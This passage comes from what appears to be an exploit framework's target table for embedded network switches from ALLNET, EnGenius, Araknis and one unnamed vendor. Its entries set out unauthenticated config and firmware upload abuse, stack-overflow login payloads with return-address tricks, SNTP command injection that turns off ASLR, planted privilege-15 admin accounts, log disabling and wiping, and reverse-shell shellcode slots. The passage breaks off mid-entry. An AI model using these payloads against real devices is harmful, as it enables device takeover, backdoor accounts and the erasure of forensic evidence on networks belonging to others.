'clean_logmem_uri':'/cgi/set.cgi?cmd=log_ramClear',
'clean_logmem_query':'{"":{}}',
'vulnerable': True,
'safe': True
        },
        # Verify lacking authentication
'verify': { 
'httpuploadbakcfg.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload "backup-config" (PoC: Create invalid file to verify)',
'uri':'/cgi/httpuploadbakcfg.cgi',
'check_uri':'/tmp/startup-config',
'content':'/mnt/backup-config',
'content_check':'/mnt/backup-config',
'vulnerable': True,
'safe': True
            },
'httpuploadlang.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload/update "language" (PoC: Create invalid file to verify)',
'uri':'/cgi/httpuploadlang.cgi',
'check_uri':False,    # 
'content': self.random_string(30), # We checking returned 'errMsgLangMG' and LEN of this text
'content_check':'errMsgLangMG',  #
'vulnerable': True,
'safe': True
            },
'httpuploadruncfg.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
'uri':'/cgi/httpuploadruncfg.cgi',
'check_uri':'/tmp/http_saverun_cfg',
'content':'/var/config/running-config',
'content_check':'/var/config/running-config',
'vulnerable': True,
'safe': True
            },
'httprestorecfg.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
'uri':'/cgi/httprestorecfg.cgi',
'check_uri':'/tmp/startup-config',
'content':'/mnt/startup-config',
'content_check':'/mnt/startup-config',
'vulnerable': True,
'safe': True
            },
'httpupload.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpupload.cgi',
'check_uri':'/tmp/http_uploadfail',
'content':'Copy: Illegal software format', # Not the real content, its the result of invalid firmware (workaround)
'content_check':'Copy: Illegal software format',
'vulnerable': True,
'safe': True
            },
'login.cgi': {
'description':'Stack overflow in login.cgi (PoC: create file /tmp/VUL.TXT)',
'authenticated': False,
'response':'file',
'Content-Type':False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'check_uri':'/tmp/VUL.TXT', # We cannot control the content...
'content':'{"_ds=1&username='+ self.random_string(32) +'&password=/tmp/VUL.TXT&_de=1":{}}',
'content_check':'2',
'vulnerable': True,
'safe': True
            },
'set.cgi': { # 'username' also suffer from stack overflow
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username=admin&password=' + self.random_string(312) + '&_de=1":{}}',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
            },
        },
'exploit': {
'heack_hydra_shell': {
'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
'authenticated': False,
'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory
'vulnerable': True,
'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart
          },
'priv15_account': {
'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
'authenticated': False,
'json':True,
'encryption':'md5',
'content':'Content-Type\n\nconfig-file-header\nusername "USERNAME" secret encrypted PASSWORD\n\n------',
            #'encryption':'nopassword',
            #'content':'Content-Type\n\nconfig-file-header\nusername "USERNAME" nopassword\n\n------', # Yep, working too
'add_uri':'/cgi/httpuploadruncfg.cgi',
'del_query':'{"_ds=1&user=USERNAME&_de=1":{}}',
'del_uri':'/cgi/set.cgi?cmd=aaa_userDel',
'vulnerable': True,
'safe': True
          }, 
'sntp': {
'description':'SNTP command injection (PoC: disable ASLR)',
'json':True,
'authenticated': True,
'enable_uri':'/cgi/set.cgi?cmd=sys_timeSettings',
'enable_query':'{"_ds=1&sntpStatus=1&_de=1":{}}',
'status_uri':'/cgi/get.cgi?cmd=sys_timeSettings',
'inject_uri':'/cgi/set.cgi?cmd=sys_timeSntp',
'inject_query':'{"_ds=1&srvDef=byIp&sntpServer=`echo 0 > /proc/sys/kernel/randomize_va_space`&cursntpPort=123&_de=1":{}}',
'check_query':'{"_ds=1&srvDef=byIp&sntpServer=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&cursntpPort=123&_de=1":{}}',
'delete_uri':'/cgi/set.cgi?cmd=sys_timeSntpDel',
'delete_query':'{"":{}}',
'disable_uri':'/cgi/set.cgi?cmd=sys_timeSettings',
'disable_query':'{"_ds=1&sntpStatus=0&_de=1":{}}',
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
          },
          #
          # The stack overflow in 'username' and 'password' at same request are multipurpose.
          #

          #
          # The trick to jump and execute:
          # 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination]
          # 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary
          # 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important)
          # 4. We will also feed required function parameters, by adding them to '_CMD_'
          #
'stack_cgi_diag': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,

'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
'sys_ping_post_SIGSEGV': True,    # SIGSEGV ?

'workaround':False,  # My LAB workaround
'vulnerable': True,
'safe': True

          },
'stack_cgi_log': {
'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
'authenticated': False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',

'log_settings_set_cmd':'',          # Disable Logging CMD
'log_settings_set_SIGSEGV':True,      # Disable Logging SIGSEGV ?

'log_ramClear_cmd':'',            # Clean RAM CMD
'log_ramClear_SIGSEGV':True,        # Clean RAM SIGSEGV ?

'log_fileClear_cmd':'',            # Clean FILE log CMD
'log_fileClear_SIGSEGV':True,        # Clean FILE log SIGSEGV ?

'workaround':False,  # My LAB workaround
'verify_uri':'',
'vulnerable': True,
'safe': True
          },
'stack_cgi_sntp': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
'sys_timeSntp_set_cmd':'&srvDef=byIp&sntpServer=`echo 0 > /proc/sys/kernel/randomize_va_space`&cursntpPort=123',
'sys_timeSntp_set_check':'&sntpServer=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&cursntpPort=123',

'sys_timeSntpDel_set_cmd':'&sntpServer=+&cursntpPort=123',        # CMD

'sys_timeSettings_set_cmd_enable':'&sntpStatus=1',  # Enable CMD
'sys_timeSettings_set_cmd_disable':'&sntpStatus=0',  # Disable CMD
'sys_timeSettings_set_SIGSEGV': True,    # SIGSEGV ?

'workaround':False,  # My LAB workaround
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
          }, 
          #
          # After disabled ASLR, we can proceed to put NOP sled and shellcode on stack.
          # Then we will start walk down from top of stack to hit the NOP sled to execute shellcode
          #
'heack_cgi_shell': {
'description':'Stack overflow in "username/password" (PoC: reverse shell)',
'authenticated': False,
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'logout_uri':'/cgi/set.cgi?cmd=home_logout',
'query':'{"_ds=1&username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&_de=1":{}}',
'stack':True, # False = use Heap, and there are no ASLR
'workaround':False,  # My LAB workaround
'vulnerable': True,
'safe': True
          },

        },
      },

'EnGenius': { 
'vendor': 'EnGenius Technologies, Inc.',
'modulus_uri':'',
'info_leak':True,
'info_leak_JSON':False,
'info_leak_uri':'/loginMsg.js',
'xsid':False,
'xsid_uri':'',
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':True,
'encryption':'',
'login_uri':'',
'query':'',
'status_uri':'',
'logout_uri':'',
'vulnerable': False,
'safe': True
        },
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':True,
'encryption':'',
'login_uri':'',
'query':'',
'status_uri':'',
'logout_uri':'',
'vulnerable': False,
'safe': True
        },
'log':{
'description':'Disable and clean logs',
'authenticated': True,
'json':True,
'disable_uri':'',
'disable_query':'',
'status':'',
'clean_logfile_uri':'',
'clean_logfile_query':'',
'clean_logmem_uri':'',
'clean_logmem_query':'',
'vulnerable': False,
'safe': True
        },
        # Verify lacking authentication
'verify': { 
'security.cgi': { # 'username' also suffer from stack overflow
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi-bin/security.cgi?login',
'content':'usr=admin&pswrd=' + self.random_string(280),
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
            },
'datajson.cgi': { # 'username' also suffer from stack overflow
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr=admin&pswrd=' + self.random_string(288),
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
            },
        },
'exploit': {
'heack_hydra_shell': {
'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
'authenticated': False,
'uri':'/cgi-bin/sn_httpupload.cgi?', # Including alignment of opcodes in memory
'vulnerable': True,
'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart
          },
'priv15_account': {
'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
'authenticated': False,
'json':True,
'encryption':'',
'content':'',
'add_uri':'',
'del_query':'',
'del_uri':'',
'vulnerable': False,
'safe': True
          }, 
'sntp': {
'description':'SNTP command injection (PoC: disable ASLR)',
'json':True,
'authenticated': True,  # <================================
'enable_uri':'/cgi/set.cgi?cmd=sys_timeSettings',
'enable_query':'{"_ds=1&sntpStatus=1&_de=1":{}}',
'status_uri':'/cgi/get.cgi?cmd=sys_timeSettings',
'inject_uri':'/cgi/set.cgi?cmd=sys_timeSntp',
'inject_query':'{"_ds=1&srvDef=byIp&sntpServer=`echo 0 > /proc/sys/kernel/randomize_va_space`&cursntpPort=123&_de=1":{}}',
'check_query':'{"_ds=1&srvDef=byIp&sntpServer=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&cursntpPort=123&_de=1":{}}',
'delete_uri':'/cgi/set.cgi?cmd=sys_timeSntpDel',
'delete_query':'{"":{}}',
'disable_uri':'/cgi/set.cgi?cmd=sys_timeSettings',
'disable_query':'{"_ds=1&sntpStatus=0&_de=1":{}}',
'verify_uri':'/tmp/check',
'vulnerable': False, # It is vulnerable, but I am not using this authenticated code here :>
'safe': True
          },
          #
          # The stack overflow in 'username' and 'password' at same request are multipurpose.
          #

          #
          # The trick to jump and execute:
          # 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination]
          # 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary
          # 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important)
          # 4. We will also feed required function parameters, by adding them to '_CMD_'
          #
          # Bonus: Disable and clean logs
          #
          #
'stack_cgi_add_account': {
'description':'Stack overflow in "username/password" (PoC: add priv 15 credentials)',
'authenticated': False,
'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',

'workaround':False,  # My LAB workaround
'vulnerable': True,
'safe': True
          },
'stack_cgi_del_account': {
'description':'Stack overflow in "username/password" (PoC: del priv 15 credentials)',
'authenticated': False,
'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',

'workaround':False,  # My LAB workaround
'vulnerable': True,
'safe': True
          },
'stack_cgi_diag': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,

'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',
'sys_ping_post_SIGSEGV': True,    # SIGSEGV ?

'workaround':False,  # My LAB workaround
'vulnerable': True,
'safe': True

          },
'stack_cgi_log': {
'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
'authenticated': False,
'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',

'log_settings_set_cmd':'&en=0',        # Disable Logging CMD
'log_settings_set_SIGSEGV':True,      # Disable Logging SIGSEGV ?

'log_ramClear_cmd':'&ta=0',          # Clean RAM CMD
'log_ramClear_SIGSEGV':True,        # Clean RAM SIGSEGV ?

'log_fileClear_cmd':'&ta=1',        # Clean FILE log CMD
'log_fileClear_SIGSEGV':True,        # Clean FILE log SIGSEGV ?

'workaround':False,  # My LAB workaround
'verify_uri':'',
'vulnerable': True,
'safe': True
          },
'stack_cgi_sntp': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',

'sys_timeSntp_set_cmd':'&sa=`echo 0 > /proc/sys/kernel/randomize_va_space`&sp=123',
'sys_timeSntp_set_check':'&sa=`cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check`&sp=123',

'sys_timeSntpDel_set_cmd':'&sa=+&sp=123',        # CMD

'sys_timeSettings_set_cmd_enable':'&sn=1',  # Enable CMD
'sys_timeSettings_set_cmd_disable':'&sn=0',  # Disable CMD
'sys_timeSettings_set_SIGSEGV': True,    # SIGSEGV ?

'workaround':False,  # My LAB workaround
'verify_uri':'/conf_tmp/check',
'vulnerable': True,
'safe': True
          }, 
          #
          # Used for both 'heap' and 'stack'
          #
'heack_cgi_shell': {
'description':'Stack overflow in "username/password" (PoC: reverse shell)',
'authenticated': False,
'login_uri':'/cgi-bin/security.cgi?login',
'logout_uri':'/cgi-bin/security.cgi?logout',
'query':'build=NOP&heap=NOP&to=NOP&higher=addresses&usr=admin&pswrd=_PWDNOP_RA_START&shellcode=_USRNOP_SHELLCODE',
            #'stack':False, # False = use Heap, and there are no ASLR
'workaround':False,  # My LAB workaround
'vulnerable': True,
'safe': True
          },

        },
      },

'Araknis': { 
'vendor': 'Araknis Networks',
'modulus_uri':'',
'info_leak':True,
'info_leak_JSON':False,
'info_leak_uri':'/loginMsg.js',
'xsid':False,
'xsid_uri':'',
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':True,
'encryption':'',
'login_uri':'',
'query':'',
'status_uri':'',
'logout_uri':'',
'vulnerable': False,
'safe': True
        },
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':True,
'encryption':'',
'login_uri':'',
'query':'',
'status_uri':'',
'logout_uri':'',
'vulnerable': False,
'safe': True
        },
'log':{
'description':'Disable and clean logs',
'authenticated': True,
'json':True,
'disable_uri':'',
'disable_query':'',
'status':'',
'clean_logfile_uri':'',
'clean_logfile_query':'',
'clean_logmem_uri':'',
'clean_logmem_query':'',
'vulnerable': False,
'safe': True
        },
        # Verify lacking authentication
'verify': { 
'security.cgi': { # 'username' also suffer from stack overflow
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi-bin/security.cgi?login',
'content':'usr=admin&pswrd=' + self.random_string(280),
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
            },
'datajson.cgi': { # 'username' also suffer from stack overflow
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr=admin&pswrd=' + self.random_string(288),
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
            },
        },
'exploit': {
'heack_hydra_shell': {
'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
'authenticated': False,
'uri':'/cgi-bin/sn_httpupload.cgi?', # Including alignment of opcodes in memory
'vulnerable': True,
'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart
          },
'priv15_account': {
'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
'authenticated': False,
'json':True,
'encryption':'',
'content':'',
'add_uri':'',
'del_query':'',
'del_uri':'',
'vulnerable': False,
'safe': True
          }, 
'sntp': {
'description':'SNTP command injection (PoC: disable ASLR)',
'json':True,
'authenticated': True,  # <================================
'enable_uri':'/cgi/set.cgi?cmd=sys_timeSettings',
'enable_query':'{"_ds=1&sntpStatus=1&_de=1":{}}',
'status_uri':'/cgi/get.cgi?cmd=sys_timeSettings',
'inject_uri':'/cgi/set.cgi?cmd=sys_timeSntp',
'inject_query':'{"_ds=1&srvDef=byIp&sntpServer=`echo 0 > /proc/sys/kernel/randomize_va_space`&cursntpPort=123&_de=1":{}}',
'check_query':'{"_ds=1&srvDef=byIp&sntpServer=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&cursntpPort=123&_de=1":{}}',
'delete_uri':'/cgi/set.cgi?cmd=sys_timeSntpDel',
'delete_query':'{"":{}}',
'disable_uri':'/cgi/set.cgi?cmd=sys_timeSettings',
'disable_query':'{"_ds=1&sntpStatus=0&_de=1":{}}',
'verify_uri':'/tmp/check',
'vulnerable': False, # It is vulnerable, but I am not using this authenticated code here :>
'safe': True
          },
          #
          # The stack overflow in 'username' and 'password' at same request are multipurpose.
          #

          #
          # The trick to jump and execute:
          # 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination]
          # 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary
          # 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important)
          # 4. We will also feed required function parameters, by adding them to '_CMD_'
          #
'stack_cgi_add_account': {
'description':'Stack overflow in "username/password" (PoC: add priv 15 credentials)',
'authenticated': False,
'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',

'workaround':False,  # My LAB workaround
'vulnerable': True,
'safe': True
          },
'stack_cgi_del_account': {
'description':'Stack overflow in "username/password" (PoC: del priv 15 credentials)',
'authenticated': False,
'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',

'workaround':False,  # My LAB workaround
'vulnerable': True,
'safe': True
          },
'stack_cgi_diag': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,

'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',
'sys_ping_post_SIGSEGV': True,    # SIGSEGV ?

'workaround':False,  # My LAB workaround
'vulnerable': True,
'safe': True

          },
'stack_cgi_log': {
'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
'authenticated': False,
'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',

'log_settings_set_cmd':'&en=0',        # Disable Logging CMD
'log_settings_set_SIGSEGV':True,      # Disable Logging SIGSEGV ?

'log_ramClear_cmd':'&ta=0',          # Clean RAM CMD
'log_ramClear_SIGSEGV':True,        # Clean RAM SIGSEGV ?

'log_fileClear_cmd':'&ta=1',        # Clean FILE log CMD
'log_fileClear_SIGSEGV':True,        # Clean FILE log SIGSEGV ?

'workaround':False,  # My LAB workaround
'verify_uri':'',
'vulnerable': True,
'safe': True
          },
'stack_cgi_sntp': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',

'sys_timeSntp_set_cmd':'&sa=`echo 0 > /proc/sys/kernel/randomize_va_space`&sp=123',
'sys_timeSntp_set_check':'&sa=`cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check`&sp=123',

'sys_timeSntpDel_set_cmd':'&sa=+&sp=123',        # CMD

'sys_timeSettings_set_cmd_enable':'&sn=1',  # Enable CMD
'sys_timeSettings_set_cmd_disable':'&sn=0',  # Disable CMD
'sys_timeSettings_set_SIGSEGV': True,    # SIGSEGV ?

'workaround':False,  # My LAB workaround
'verify_uri':'/conf_tmp/check',
'vulnerable': True,
'safe': True
          }, 
          #
          # Used for both 'heap' and 'stack'
          #
'heack_cgi_shell': {
'description':'Stack overflow in "username/password" (PoC: reverse shell)',
'authenticated': False,
'login_uri':'/cgi-bin/security.cgi?login',
'logout_uri':'/cgi-bin/security.cgi?logout',
'query':'build=NOP&heap=NOP&to=NOP&higher=addresses&usr=admin&pswrd=_PWDNOP_RA_START&shellcode=_USRNOP_SHELLCODE',
'stack':False, # False = use Heap, and there are no ASLR
'workaround':False,  # My LAB workaround
'vulnerable': True,
'safe': True
          },

        },
      },

'ALLNET_JSON': { 
'vendor': 'ALLNET GmbH Computersysteme',
'model':'ALL-SG82xx',
'uri':'https://www.allnet.de/',
'modulus_uri':'/cgi/get.cgi?cmd=home_login',
'info_leak':False,
'info_leak_JSON':True,
'info_leak_uri':'/cgi/get.cgi?cmd=home_login',
'xsid':False,
'xsid_uri':'/cgi/get.cgi?cmd=home_main',
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':True,
'encryption':'rsa',
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'query':'{"_ds=1&username=USERNAME&password=PASSWORD&_de=1":{}}',
'status_uri':'/cgi/get.cgi?cmd=home_loginStatus',
'logout_uri':'/cgi/set.cgi?cmd=home_logout',
'vulnerable': True,
'safe': True
        },
'log':{
'description':'Disable and clean logs',
'authenticated': True,
'json':True,
'disable_uri':'/cgi/set.cgi?cmd=log_global',
'disable_query':'{"_ds=1&empty=1&_de=1":{}}',
'status':'/cgi/get.cgi?cmd=log_global',
'clean_logfile_uri':'/cgi/set.cgi?cmd=log_clear',
'clean_logfile_query':'{"_ds=1&target=1&_de=1":{}}',
'clean_logmem_uri':'/cgi/set.cgi?cmd=log_clear',
'clean_logmem_query':'{"_ds=1&target=0&_de=1":{}}',
'vulnerable': True,
'safe': True
        },
        # Verify lacking authentication
'verify': { 
'httpuploadruncfg.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
'uri':'/cgi/httpuploadruncfg.cgi',
'check_uri':'/tmp/http_saverun_cfg',
'content':'/var/config/running-config',
'content_check':'/var/config/running-config',
'vulnerable': True,
'safe': True
            },
'httprestorecfg.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
'uri':'/cgi/httprestorecfg.cgi',
'check_uri':'/tmp/startup-config',
'content':'/mnt/startup-config',
'content_check':'/mnt/startup-config',
'vulnerable': True,
'safe': True
            },
'httpupload.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpupload.cgi',
'check_uri':'/tmp/http_uploadfail',
'content':'Copy: Illegal software format', # Not the real content, its the result of invalid firmware (workaround)
'content_check':'Copy: Illegal software format',
'vulnerable': True,
'safe': True
            },
'login.cgi': {
'description':'Stack overflow in login.cgi (PoC: create file /tmp/VUL.TXT)',
'authenticated': False,
'response':'file',
'Content-Type':False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'check_uri':'/tmp/VUL.TXT', # We cannot control the content...
'content':'{"_ds=1&username='+ self.random_string(40) +'&password='+ '/' * 23 +'/tmp/VUL.TXT&_de=1":{}}',
'content_check':'2',
'vulnerable': True,
'safe': True
            },
'set.cgi': { # 'username' also suffer from stack overflow
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username=admin&password=' + self.random_string(312) + '&_de=1":{}}',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
            },
        },
'exploit': {
'heack_hydra_shell': {
'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
'authenticated': False,
'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory
'vulnerable': True,
'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart
          },
'priv15_account': {
'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
'authenticated': False,
'json':True,
'encryption':'clear',
'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" password PASSWORD\n\n------',
'add_uri':'/cgi/httpuploadruncfg.cgi',
'del_query':'{"_ds=1&user=USERNAME&_de=1":{}}',
'del_uri':'/cgi/set.cgi?cmd=sys_acctDel',
'vulnerable': True,
'safe': True
          }, 
'sntp': {
'description':'SNTP command injection (PoC: disable ASLR)',
'json':True,
'authenticated': True,
'enable_uri':'/cgi/set.cgi?cmd=sys_time',
'enable_query':'{"_ds=1&sntp=1&_de=1":{}}',
'status_uri':'/cgi/get.cgi?cmd=sys_time',
'inject_uri':'/cgi/set.cgi?cmd=sys_time',
'inject_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139&_de=1":{}}',
'check_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139&_de=1":{}}',
'delete_uri':'/cgi/set.cgi?cmd=sys_time',
'delete_query':'{"_ds=1&sntp=1&timezone=0&srvDef=ipv4&srvHost=+&port=0&dlsType=0&_de=1":{}}',
'disable_uri':'/cgi/set.cgi?cmd=sys_time',
'disable_query':'{"_ds=1&sntp=0&_de=1":{}}',
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
          },
          #
          # The stack overflow in 'username' and 'password' at same request are multipurpose.
          #

          #
          # The trick to jump and execute:
          # 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination]
          # 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary
          # 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important)
          # 4. We will also feed required function parameters, by adding them to '_CMD_'
          #
'stack_cgi_diag': {  # Not vulnerable 
'vulnerable': False,
          },
'stack_cgi_log': {
'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
'authenticated': False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',

            #'log_settings_set_cmd':'&logState=1&consoleState=1&ramState=1&fileState=1',  # Enable Logging CMD
'log_settings_set_cmd':'&empty=1',      # Disable Logging CMD
'log_settings_set_SIGSEGV':True,      # Disable Logging SIGSEGV ?

'log_ramClear_cmd':'&target=0',        # Clean RAM CMD
'log_ramClear_SIGSEGV':True,        # Clean RAM SIGSEGV ?

'log_fileClear_cmd':'&target=1',      # Clean FILE log CMD
'log_fileClear_SIGSEGV':True,        # Clean FILE log SIGSEGV ?

'workaround':False,  # My LAB workaround
'verify_uri':'',
'vulnerable': True,
'safe': True
          },
'stack_cgi_sntp': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
'sys_timeSntp_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139',
'sys_timeSntp_set_check':'&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139',

'sys_timeSntpDel_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=+&port=139',        # CMD

'sys_timeSettings_set_cmd_enable':'&sntp=1',  # Enable CMD
'sys_timeSettings_set_cmd_disable':'&sntp=0',  # Disable CMD
'sys_timeSettings_set_SIGSEGV': True,    # SIGSEGV ?

'workaround':False,  # My LAB workaround
'verify_uri':'/tmp/check',
'vulnerable': False,
            #'vulnerable': True,
'safe': True
          }, 
          #
          # After disabled ASLR, we can proceed to put NOP sled and shellcode on stack.
          # Then we will start walk down from top of stack to hit the NOP sled to execute shellcode
          #
'heack_cgi_shell': {
'description':'Stack overflow in "username/password" (PoC: reverse shell)',
'authenticated': False,
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'logout_uri':'/cgi/set.cgi?cmd=home_logout',
'query':'{"_ds=1&username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&_de=1":{}}',
'stack':True, # False = use Heap, and there are no ASLR
'workaround':False,  # My LAB workaround
'vulnerable': True,
'safe': True
          },

        },
      },

'ALLNET': {
'vendor': 'ALLNET GmbH Computersysteme',
'uri':'https://www.allnet.de/',
'modulus_uri':'',
'info_leak':False,
'info_leak_JSON':False,
'info_leak_uri':'',
'xsid':False,
'xsid_uri':'',
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':False,
'encryption':'clear',
'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'query':'username=USERNAME&password=PASSWORD&login=1',
'status_uri':'/cgi-bin/dispatcher.cgi?cmd=547',
'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
'vulnerable': True,
'safe': True
        },
'log':{
